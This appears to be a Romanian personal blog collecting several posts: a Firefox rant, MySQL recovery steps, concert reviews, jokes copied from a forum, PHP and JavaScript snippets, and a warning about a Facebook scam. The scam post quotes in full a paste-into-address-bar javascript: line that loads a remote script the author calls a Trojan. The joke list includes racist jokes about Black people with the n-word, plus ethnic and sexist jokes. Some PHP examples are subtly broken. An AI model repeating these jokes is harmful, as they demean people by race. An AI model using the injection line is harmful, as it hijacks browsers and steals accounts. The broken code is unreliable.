Firefox version sprint

Se pare ca in dorinta lor exagerata de putere (ca bani au) Google a lansat un nou trend al browserelor: versiuni bi-saptamanale, “gen” ca si cum ai face kka (in mod alert).

Pe aceasta cărare hăis a luat-o si marele Firefox (via Mozilla) care momentan a ajuns de la versiunea 3 la versiunea 6 in doar cateva luni. Ca si consecinte ale acestui sprint de versiuni browser-ul meu favorit o arde mai mult “Not responding” decat “fast and smart!” (cum ar trebui) pentru ca probabil vrea sa faca mai mult cache decat poate duce PC-ul, motiv pentru care are ca principala sarcina ocuparea de RAM (cat de mult posibil) + din pacate majoritatea addon-urilor se strica, cu scuza “asta-i viata!”, pentru ca sunt semnate de fiecare versiune de browser.

Banuiesc ca aceasta politica de marketing le va aduce ceva beneficii, dar oare se gandeste cineva la developerii “idioti” care trebuie sa testeze toate versiunile?!
Eh, pe dracu…

Google translate does the job

Can’t connect to MySQL server on ‘localhost’ (10061)

De curand m-am lovit de ceva oribil… eu am (aveam) instalat WAMP (mi-e lene sa stau sa configurez pehaspeu si maieschiuel). La un moment dat, dupa ce am pornit serviciile (cu succes) am realizat ca phpmyadmin-ul imi zicea ceva de genul “bla bla… cannot connect to mysql…”.

Evident, m-am panicat cu gandul ca nu-mi mai pot recupera o baza de date foarte importanta si, am dezinstalat WAMP-ul si am instalat altul, cu gandul idiot ca daca o sa mut fisierele FRM (am mai incercat odata si a mers, pe o baza de date mai simpla) in noul MySql ma voi putea preface ca nu s-a intamplat nimic.
In fine, am instalat un nou WAMP in C:\ (il aveam si pe celalalt in D:\) si, aceeasi eroare. Fuck! Am dezinstalat tot, am instalat WAMP din nou… la fel. Fuck again!

Abia apoi am realizat ca, daca te lovesti de o problema, cel mai bine este sa il intrebi intai pe Google, apoi sa stergi baza de date, you stupid kid! Am cautat si am si gasit (dupa ce am pierdut baza de date, sa ma repet ca sa ma descarc) pe un forum (culmea, de la bugs.mysql.com) despre cum sa rulezi mysql independent.

1. Deschizi CMD (consola windows)
2. Navighezi (comanda CD pentru cine a uitat) pana la folder-ul C:\ … \mysql5.x.x\bin
3. Rulezi mysqld –standalone –console sau mysqld-nt –standalone –console (la versiunile mai vechi de wamp)
4. NU INCHIDE FEREASTRA
5. Deschizi o noua consola de windows (ca la pasul 1)
6. Urmezi pasul 2
7. Here we go, rulezi mysql -u root -p
SAU Faci un mysqldump -u root -p[root_password] [database_name] > dumpfilename.sql ca sa-ti faci back-up la baza de date si sa nu te jelesti apoi

That’s all!

B.U.G. Mafia – fara cuvinte (foarte buna melodia)

Nu mai zic nimic despre mesajele de la Cosmote, ca sa nu stric post-ul aiurea… melodia e de la Mafia si, imi place teribil de mult.

Vizitati bugmafiaoficial.ro

Concert Inna – Bucuresti, Arenele Romane

Despre Inna, numa’ de bine.

A venit cu elicopterul, a cantat bine si aproape live (un pic peste inregistrare, dar i s-a auzit vocea 90%) insa, din pacate, a vorbit (mult si aiurea). Frumos spectacolul (au ajutat-o si dansatorii, luminile si focul) si ce sa zic, sunt mandru ca e din Romania si ma bucur ca, pe langa cocalarii care dau din vioara, halesc lebede, jefuiesc la conturi si cersesc mai avem si noi alte persoane pe care sa le prezentam ca imagine.

M-a impresionat Akcent.

Ce-i drept, ma asteptam sa faca un playback de doi lei si sa behaie pe nas, dar mi-au rasturnat asteptarile sincer. Cel putin doi membrii ai formatiei au cantat live (nu stiu cum ii cheama, nu-s fan) si, au cantat bine.

Despre Alex Velea…

…nu pot zice decat ca m-a dezamagit complet (nu ca i-as fi fost fan, dar acum am trecut de la stadiul de “indiferenta” la cel de “dezgust”). A facut un playback nesimtit (fara microfon) si a dat din cur ca un manelist mai tot timpul, pe niste melodii pline de bass (imi tremura si limba, la un moment dat) cu tematica ce are in centrul atentiei cuvinte ca “Fuck”, “fuck” si “FUCK” si… am mai zis “Fuck”? De la el m-am asteptat sa faca spectacol… si a facut, dar prost.

Per total, am ramas placut impresionat si, mi-am zis ca o sa incerc sa mai merg la concerte (unele alese, nu random) pentru ca genereaza o stare de spirit destul de buna.

PS: Nu sitam ca “Arenele Romane” e un loc asa placut. Trebuie sa incerc sa mai vizitez si eu Bucurestiul

Bancuri – ceva de citit part 2

De ce a murit Hitler?
- A primit factura de la gaz.

Sotia ii spune sotului:
- Mai bine ma casatoream cu dracul!
- Aiurea, scumpo! Casatoria intre rudele de sange e interzisa!

El: Te iubesc!
Ea: Vorbesti tu sau berea din tine?
El: Eu vorbesc. Cu berea.

O mama isi dojeneste fiul:
- Aha, deci in Spania nu vrei sa te duci, in Italia nu vrei sa te duci, fotbal nu stii sa joci, manele nu vrei sa canti…
Bine ma, atunci da la facultate, sa ajungem de rasul blocului!

Un mecanic inlatura chiuloasa de la motorul unei motociclete Harley Davidson, cand il zareste pe un chirurg binecunoscut intrand in atelier.
Chirurgul il astepta pe sef pentru a discuta despre o reparatie la motocicleta sa. Mecanicul il striga:
- Hei, doctore, pot sa-ti pun o intrebare?
Chirurgul, putin surprins, se apropie de mecanic. Acesta se ridica, isi sterge mainile si intreaba:
- Doctore, uita-te la acest motor, ii deschid inima, ii scot valvele, repar stricaciunile, apoi le pun inapoi si, cand termin, merge ca noua.
Atunci cum se face ca eu am un salariu mic, iar dumneata castigi bani grei, facand practic acelasi lucru?
Chirurgul a zambit si i-a soptit:
- Incearca sa faci asta cu motorul pornit…

Un locatar urla la administrator:
- Veniti repede, se arunca soacra-mea pe geam!
- Si de ce aveti nevoie de mine?
- Nu poate sa deschida geamul.

Bill Clinton a încercat sa il elimine pe bin Laden, dar a esuat.
George W. Bush a încercat, dar a esuat.
Barack Obama a încercat si a reusit.
Morala? Daca vrei sa omori pe cineva, angajeaza un negru!

Sentimente amestecate: Sa iti cada soacra in prapastie cu masina ta.

In Purgatoriu se intalnesc trei indivizi: un german, un italian si un roman.
Curiosi de ce au ajuns acolo, cad de acord sa povesteasca:
Germanul:
- Mi-am cumparat un Porsche si m-am dus pe Autobahn sa il testez. Mergeam cu 300 pe ora cand am pierdut controlul si m-am facut praf.
Italianul:
- Mi-am luat Lamborghini., M-am dus sa il testez pe autostrada si am dat de o curba la 320 pe ora, am iesit din drum si am murit.
Romanul:
- Eu mi-am luat un X5.
- Si ?
- Si apoi am murit de foame.

Burlac: barbat care vine in fiecare dimineata la serviciu din directii diferite.

- Fetelor, va place pestele?
- Nu, ca ne bate!

Cica acum vreo 40 de ani, un om merge la o vrajitoare sa vada ce îi rezerva viitorul. Se uita baba în bobii aruncati în praf, se întuneca la fata si spune:
- Fiule, nu te supara da? trebuie sa-ti spun, din cauza ta multi români or sa moara de foame, altii vor trai prost, iar multi vor lua calea pribegiei…
Amarât, pleaca omul. Mergând pe strada vede un copilas în mijlocul strazii. Din spate venea un camion, iar copilul nu schita un gest. Se gândeste ca si asa multi vor patimi de pe urma sa, macar un suflet sa salveze. Sare în drum si ia pustiul din strada exact când rotile uriase erau sa îl faca praf. Tinând strâns la piept copilul speriat îl întreaba cum îl cheama.
- Emilus… Emilus Boc… spune copilul printre lacrimi.

Q: What is red and smells like blue paint?
A: Red paint.

Un arab suna la aeroport:
- Name?
- Abdul al-Rhazib.
- Sex?
- Three to five times a week.
- No, no… I mean male or female?
- Male, female, sometimes camel.
- Holy cow!
- Yes, cow, sheep, animals in general.
- But isn’t that hostile?
- Horse style, doggy style, any style!
- Oh dear!
- No, no! Deer run too fast!

- Man, my penis is so big if I laid it out on a keyboard it’d go all the way from A to Z
!! Wait… shit!!

- my girlfriend broke up with me and sent me pix of her and her new boyfriend in bed
- Ouch…
- Yeah. I sent them to her dad

A Chinese family of 5, named Chu, Bu, Hu, Su and Fu decided to immigrate to the United States.
In order to get a visa, they had to adapt their names to American standards:
Chu became Chuck
Bu became Buck
Hu became Huck.
Fu and Su decided to remain in China.

A blonde at the grocery store:
- I would like 4 tomatoes, 4 potatoes and 4 onions
- I can help you with the tomatoes and the potatoes, but not with the onions…
- Ok… than I’ll have 2 tomatoes, 2 potatoes and 2 onions
- I see you don’t understand me: I have tomatoes, I have potatoes, but I have no onions
- I see… than I’ll have a tomato, a potato and an onion
- Ok, let’s do this the other way around. If you take the “mato” out of the “tomato”, what do you have?
- Aaaa… “to”?
- Right, and if you take the “tato” out of the “potato”, what do you have?
- Aaaa… “po”?
- Excellent, and if you take the “fuck” out of the “onion”, what do you have?
- Aaaa… aaa… but there is no “fuck” in “onion”
- Exactly, there is no fuckin’ onion !!!!

Apparently 98% of black men prefer having sex in the shower.
The other 2% have never been to prison.

A black baby was given wings by God, so he asked:
- Does this mean that I’m an angel now?
God laughed and said:
- Nah nigga’, you’re a bat!

Doi barbati discuta:
- Ai auzit ce a patit saracul Popescu ?
- Nu ma, ce!?
- A fugit cu nevasta-mea…

Doi indragostiti pe o banca in parc noaptea:
- Iubitule, da-ti jos ochelarii, imi agati dresurile.
Dupa 5 minute:
- Iubitule, pune-ti inapoi ochelarii. Ai inceput sa lingi banca.

La Radio Erevan, un ascultator intreaba:
- Se poate pune baza pe Basescu si Boc?
Radio Erevan raspunde:
- Se poate. Va recomandam acidul!

Cu regret va anuntam ca azi a murit Adi Minune…
A fost gasit spanzurat, de un bonsai.

- Do we have any stain removing, or anything
- What do you mean? What happener?
- I shook my cock to hard and it exploded all over my clothes and floor.
- I’m at work Jake, This isn’t funny. Call your dad.
- Ahh crap! I meant Coke, it exploded when I opened it.

Preluate de pe
forum.softpedia.com sectiunea Fun

“How to avoid” expresii regulate (cateodata)

Se poate lua un simplu copy/paste.

Ideea principala este ca expresiile regulate ar trebui evitate pe cat posibil, datorita resurelor insemnate pe care le ocupa. In ciuda faptului ca PHP este un procesator de texte (la baza constructiei lui) se pare ca unele functii, desi par ca sunt simple manipulari de texte… nu sunt.

Atentie! Codul de mai jos trebuie adaptat.

<?php

$string = 'ATI will be here. Also search 1/2 here but don't search
1/2inside word. I have some AS-SSUS and a ATI slot and another 1/2 AS-SSUS express';

# vrei sa cauti ATI, de exemplu, si AS-SSUS
$arraySearch = array('AS-SSUS', 'ATI', '1/2');

arsort($arraySearch);
# pentru a se face cautarea in ordine

# ca sa ai cautare dupa cuvinte, scoti toata punctuatia
# mai corect ar fi sa iei toate ascci-urile din zona asta
$allPunctuation = str_split('!@#$%^&*()_-+=[]{};:'"?/.>,<~`'."\n\r");

# dar nu scoti caractere pe care vrei tu sa le cauti,
# cum este "-" de la ATI ( atentie la & de la &$punc )
foreach($allPunctuation as &$punc) {
	if(in_array($punc, array('-', '/')))
		$punc = NULL;
}

# facem explode dupa spatiu la replace-ul punctuatiei cu spatiu
$stringInWords = explode(' ', str_replace($allPunctuation, ' ', $string));
# apoi facem un test
echo '<pre>'; print_r($stringInWords); echo '<pre>';

# fecem un foreach pe toate cuvintele
foreach($stringInWords as $search) {
	# excludem spatiile goale
	if(trim($search) != '') {
		# verificam - fara strpos (acum avem un array)
		$haveResult = in_array($search, $arraySearch);
		if($haveResult !== false) {
			$result[] = 'We have '.$search;
		}
	}
}

echo isset($result) ? implode('<br />', $result) : 'Nu am gasit nimic';

?>

JavaScript must have functions

1. Cautare intr-un array sau obiect

function in_array(needle, array) {	var thisi = 0;	for(thisi in array) {		if(array[thisi] == needle) return true;	} return false;}// alert( in_array('someNeedle', new Array('1', 'someNeedle', '30')) );

2. Inca se mai folosesc pop-up-urile.

function windowOpen(url, opt) {	opt = opt || {};	opt.url = url;	opt.width = opt.width || 500;	opt.height = opt.height || 300;	opt.status = opt.status || 'no';	opt.toolbar = opt.toolbar || 'no';	opt.location = opt.location || 'no';	opt.menubar = opt.menubar || 'no';	opt.directories = opt.directories || 'no';	opt.resizable = opt.resizable || 'no';	opt.scrollbars = opt.scrollbars || 'yes';	opt.name = opt.name || '_blank';	opt.top = opt.top || 20;	opt.left = opt.left || 100;	opt.channelmode = opt.channelmode || 0;	/* and, make it open */	window.open(opt.url, opt.name, 'width='+opt.width+', height='+opt.height+', status='+opt.status+', toolbar='+opt.toolbar+', location'+opt.location+', menubar='+opt.menubar+', directories='+opt.directories+', resizable='+opt.resizable+', scrollbars='+opt.scrollbars+', top='+opt.top+', left='+opt.left+', channelmode='+opt.channelmode);	return false;}// windowOpen('myPage.php', { width:500, height:300, top:30 });

3. Refresh iframe (trebuie sa-i dati un ID)

function iframeRefresh(id, address) {	var ifr = document.getElementById(id);	ifr.src = address;	return false;}// iframeRefresh('myFrmae', 'http://google.com')

4. Easy way to show flash movie

function writeFlash(opt) {	opt = opt || {};	opt.url = opt.url || '';	opt.width = opt.width || 0;	opt.height = opt.height || 0;	opt.wmode = opt.wmode || 'transparent';	opt.flashVars = opt.flashVars || '';	document.write('<'+'object type="application/x-shockwave-flash" data="'+opt.url+'" width="'+opt.width+'" height="'+opt.height+'"'+'>');	document.write('<'+'param name="movie" value="'+opt.url+'" '+'/'+'>');	document.write('<'+'param name="allowScriptAccess" value="always" '+'/'+'>');	document.write('<'+'param name="flashVars" value="'+opt.flashVars+'" '+'/'+'>');	document.write('<'+'param name="wmode" value="'+opt.wmode+'" '+'/'+'>'+'<'+'/'+'object>');	return false;}// writeFlash({ url: 'myMovie.swf',width:300,height:200 })

5. Merge two objects

function mergeObjects(ob1, ob2) {	var attrname;	for (attrname in ob1) {		ob2[attrname] = ob1[attrname];	} return ob2;}// var obj1 = { a:'b', c:'d' };// var obj2 = { m:'b', c:'z' };// var main = mergeObjects(obj1, obj2);// alert(main.c);

Facebook a luat-o razna.

Am vazut la:
http://www.facebook.com/pages/See-who-viewed-your-profile/blablalink
o aplicatie cretina (care este inutila, evident) cu un nume foarte “imbietor” care indeamna userii sa faca urmatorul lucru:

Step1: Copy This Script
Just click in the box to highlight all, Then right click and hit copy to copy the code
javascript:(a=(b=document).createElement(‘script’)).src=’//pro******ou.info/hi2.js’,b.body.appendChild(a);void(0)

Step 2: (fac un rezumat)
- Copy-Paste the Codeinto the address bar
- Hit enter to see your results!

Aceasta abordare este o mare imbecilitate, mai ales la dimensiunile unui site ca facebook.com si nu inteleg cum de este posibil sa nu se verifice astfel de chestii si, cum de este permis. E un CSRF facut pe fata, fara rusine.

Ce poate face o astfel de actiune?

Eh, cam orice… e ca si cum ai striga in gura mare “hei… vreau sa mi-o iau prin gura” pentru ca totul depinde de ce se afla in acel fisier javascript (hi2.js), care poate sa va controleze browser-ul – sa va fure cookie-urile (contul de facebook, eventual), sa va infecteze cu un Trojan si multe altele.

Tehnic vorbind

Pentru cine a mai vazut un bloc javascript e evident: la apasarea tastei Enter se adauga in propria pagina (cu “body.appendChild”) un elment javascript care are o legatura remote catre un fisier de pe server-ul pro******ou.info, fisier care desi poate acum pare inutil si inofensiv, se poate schimba dupa voia celor care detin respectivul domeniu.

Shame to you Facebook!

Oh… looks like that javascript is a Trojan.

PHP – utilizarea array-urilor este benefica

De ce?

Pai pentru simplul motiv ca pot fi parcurse cu un foreach (sau alta instructiune repetitiva) si putem scrie putin cod pentru a obtine multe lucruri.

Cum?

1. For starters: pentru a genera un meniu, in loc sa scrii 20 de linii de cod pe care sa le repeti 90% ai putea face un array

<?php
$arrayMenu = array(
	'./'=>'Home',
	'products'=>'Products',
	'folio'=>'Portfolio',
	'articles'=>'Articles',
	'contact'=>'Contact me'
);
# initializam un string
$theMenu = '';
# parcurgem array-ul
foreach($arrayMenu as $link=>$label) {
	$theMenu .= '<a href="'.$link.'">'.$label.'</a>'."n";
} $theMenu = substr($theMenu, 0, -1);
echo $theMenu;
# rezultatul vi-l imaginati voi...
?>

2. Ceva nou si util: referinta in foreach

<?php
$someArray = array(1, 2, 3, 4, 5);
foreach($someArray as &$value) $value *= 3;
print_r($someArray);
# result: 3, 6, 9, 12, 15
# fara referinta, valoarea lui $someArray nu se schimba
?>

3. Un pic mai avansat: Pentru a genera un meniu cu categorii infinite

<?php
$arrayMenu = array (
	array (
		'label'=>'Home',
		'link'=>'./'
	),
	array (
		'label'=>'Products',
		'link'=>'products',
		'items'=>array (
			array (
				'label'=>'Laptops',
				'link'=>'products/laptops',
				'items'=>array (
					array (
						'label'=>'Acer',
						'link'=>'products/laptops/acer'
					),
					array (
						'label'=>'HP',
						'link'=>'products/laptops/hp'
					),
					array (
						'label'=>'Dell',
						'link'=>'products/laptops/dell'
					),
					array (
						'label'=>'Tochiba',
						'link'=>'products/laptops/tochiba'
					),
					array (
						'label'=>'Samsung',
						'link'=>'products/laptops/samsung'
					)
				)
			),
			array (
				'label'=>'PC',
				'link'=>'products/pc',
				'items'=>array (
					array (
						'label'=>'Full systems',
						'link'=>'products/pc/full'
					),
					array (
						'label'=>'PC Components',
						'link'=>'products/pc/parts',
						'items'=>array(
							array(
								'label'=>'Video cards',
								'link'=>'products/pc/parts/video'
							),
							array(
								'label'=>'Sound cards',
								'link'=>'products/pc/parts/sound'
							),
							array(
								'label'=>'MainBoards',
								'link'=>'products/pc/parts/main'
							),
							array(
								'label'=>'Memory',
								'link'=>'products/pc/parts/memory'
							)
						)
					)
				)
			)
		)
	),
	array (
		'label'=>'Articles',
		'link'=>'articles',
		'items'=>array (
			array (
				'label'=>'IT',
				'link'=>'articles/laptops',
				'items'=>array (
					array (
						'label'=>'Acer',
						'link'=>'articles/laptops/acer'
					),
					array (
						'label'=>'HP',
						'link'=>'articles/laptops/hp'
					),
					array (
						'label'=>'Dell',
						'link'=>'articles/laptops/dell'
					),
					array (
						'label'=>'Tochiba',
						'link'=>'articles/laptops/tochiba'
					)
				)
			)
		)
	)
);

function createMenu(
	$men,
	$tpl=array(
		'start'=>'<ul>', # start block
		'start-item'=>'<li>', # start item block
		'item'=>'<a href="[link]">[label]</a>', # ITEM
		'end-item'=>'</li>', # end item block
		'end'=>'</ul>' # end block
	)
) {
	$out = $tpl['start'];
	foreach($men as $value) {
		$out .= $tpl['start-item'];
		$out .= str_replace(
			array('[link]', '[label]'),
			array($value['link'], $value['label']),
			$tpl['item']
		)."n";
		if(isset($value['items']) && !empty($value['items'])) {
			# == reapelare aici == fara recursivitate e mai greu
			$out .= createMenu($value['items'], $tpl);
		}
		$out .= $tpl['end-item'];
	}
	$out .= $tpl['end']."n";
	return $out;
}

echo createMenu($arrayMenu);
?>

4. Remove array duplicates – simplu si util:

<?php
$array = array(
	1=>'test4',
	2=>'test1',
	3=>'test2',
	4=>'test1'
)
$ArrayWithKeysFpl = array_flip($array);
# principiul este ca un array nu poate avea chei duplicate
$ArrayWithoutDuplicates = array_flip($array);
?>